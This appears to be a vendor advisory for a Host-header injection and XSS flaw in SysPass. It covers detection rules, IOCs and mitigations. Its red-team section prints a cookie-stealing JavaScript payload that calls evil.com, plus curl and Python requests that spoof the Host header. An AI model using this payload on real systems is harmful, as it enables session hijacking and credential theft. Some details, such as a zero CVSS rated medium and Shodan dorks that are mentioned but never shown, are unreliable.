CVE-2025-25477
Executive Summary
CVE-2025-25477 is a host header injection vulnerability affecting SysPass 3.2.x. An attacker can manipulate the Host header in HTTP requests to inject malicious JavaScript from an arbitrary domain, leading to stored or reflected cross-site scripting (XSS) attacks. This can result in session hijacking, credential theft, or further compromise of the SysPass instance. No official patch has been released, and the CVSS score is currently unassigned. The vulnerability is publicly known, with proof-of-concept details available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
SysPass is a PHP-based password manager. The vulnerability lies in the application’s handling of the Host header, which is used to generate dynamic links or load resources. Since SysPass is not distributed via NPM, PyPI, Go, or Ruby, supply chain risks are limited to direct exploitation of the web application.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unassigned)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link or visit a malicious page)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium (due to user interaction requirement but potential for session hijacking)
Deep Dive & Mechanics
The vulnerability exists because SysPass uses the Host header from incoming HTTP requests to construct URLs for resources (e.g., JavaScript files, CSS, or API endpoints). By sending a request with a malicious Host header (e.g., Host: attacker.com), the application will generate links pointing to the attacker’s domain. If an administrator or user visits a page that loads these resources, the attacker’s JavaScript will execute in the context of the SysPass application.
Attack Flow:
- Attacker crafts a request to SysPass with a modified
Hostheader (e.g.,Host: evil.com). - SysPass processes the request and generates a page that includes a script tag with
src="http://evil.com/malicious.js". - The victim’s browser loads the page and executes the attacker’s JavaScript.
- The malicious script can steal session cookies, perform actions on behalf of the victim, or exfiltrate data.
Root Cause: The application does not validate or sanitize the Host header before using it in resource URLs.
Vulnerable vs. Patched Code
Vulnerable Code (SysPass 3.2.x):
// Example of vulnerable code
$host = $_SERVER['HTTP_HOST'];
$scriptUrl = "http://" . $host . "/js/app.js";
echo "<script src='$scriptUrl'></script>";
Patched Code (Hypothetical):
// Patched code with host validation
$allowedHosts = ['syspass.example.com', 'localhost'];
$host = $_SERVER['HTTP_HOST'];
if (!in_array($host, $allowedHosts)) {
$host = 'syspass.example.com'; // fallback to default
}
$scriptUrl = "http://" . $host . "/js/app.js";
echo "<script src='$scriptUrl'></script>";
Exploitation & Lab Setup
Red Team
Prerequisites:
- A SysPass 3.2.x instance (e.g., Docker container)
- A domain or server to host malicious JavaScript (e.g.,
evil.com) - Burp Suite or
curlfor crafting requests
Steps:
- Set up a malicious JavaScript file at
http://evil.com/malicious.js:// malicious.js document.location='http://evil.com/steal?cookie='+document.cookie; - Send a crafted request to SysPass:
curl -H "Host: evil.com" http://target-syspass/login - The response will contain a script tag pointing to
evil.com/malicious.js. - Send the crafted URL to a victim (e.g., via phishing email). When the victim visits the page, the malicious script executes.
Proof-of-Concept (Python):
import requests
target = "http://target-syspass/login"
malicious_host = "evil.com"
response = requests.get(target, headers={"Host": malicious_host})
print(response.text) # Look for injected script tags
Blue Team
Detection:
- Monitor HTTP requests for unusual
Hostheaders (e.g., unexpected domains). - Check server logs for
Hostheader values that do not match the legitimate domain. - Use WAF rules to block requests with
Hostheaders not in an allowlist.
Mitigation:
- Implement strict validation of the
Hostheader against a whitelist of allowed domains. - Use a reverse proxy (e.g., Nginx) to rewrite or validate the
Hostheader before it reaches the application. - Apply a virtual patch via WAF to block malicious
Hostheaders.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests with
Hostheaders pointing to external, untrusted domains. - Outbound connections to domains hosting malicious JavaScript (e.g.,
evil.com).
- HTTP requests with
- Logs:
- Server access logs showing
Hostheader values likeevil.comorattacker-controlled.com. - Application logs indicating failed host validation (if logging is enabled).
- Server access logs showing
- File System:
- No specific file IOCs; the attack is purely network-based.
Detection Engineering
YARA Rule
rule CVE_2025_25477_Host_Header_Injection {
meta:
description = "Detects host header injection attempts targeting SysPass"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-25477"
strings:
$host_header = /Host:\s*(?!syspass\.example\.com|localhost)[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/ nocase
condition:
$host_header
}
Sigma Rule
title: SysPass Host Header Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with suspicious Host headers targeting SysPass
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-host|re: '^(?!syspass\.example\.com|localhost).*$'
condition: selection
falsepositives:
- Legitimate multi-domain setups
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-25477 SysPass Host Header Injection"; flow:to_server; content:"Host|3a|"; pcre:"/Host:\s*(?!syspass\.example\.com|localhost)[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Virtual Patching: Deploy a WAF rule to block requests with
Hostheaders not matching the legitimate domain. - Reverse Proxy: Configure Nginx or Apache to validate the
Hostheader and reject invalid ones. - Code Fix: Update the application to use a whitelist of allowed hosts or use a relative path for resources (e.g.,
/js/app.jsinstead ofhttp://host/js/app.js).
Long-Term:
- Monitor the SysPass project for an official patch.
- Consider migrating to a maintained fork or alternative password manager if no patch is released.
- Implement Content Security Policy (CSP) headers to restrict script sources.
Nginx Virtual Patch Example:
server {
listen 80;
server_name syspass.example.com;
if ($host !~ ^(syspass\.example\.com|localhost)$) {
return 403;
}
# ... rest of config
}
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.